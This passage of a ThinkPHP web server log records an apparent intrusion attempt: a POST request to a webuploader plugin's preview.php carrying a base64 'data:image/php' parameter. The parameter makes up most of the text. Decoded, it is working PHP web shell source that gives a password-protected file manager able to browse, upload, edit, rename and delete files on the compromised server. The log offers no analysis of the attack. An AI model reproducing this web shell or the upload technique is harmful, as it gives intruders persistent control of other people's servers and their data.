cpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:34:02+08:00 ] 116.213.36.234 POST www.51tianwei.com/source/plugin/iscwo_kaifu/webuploader/0.1.15/server/preview.php [运行时间:0.002504s] [吞吐率:399.34req/s] [内存消耗:196.83kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'source', 2 => 'plugin', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9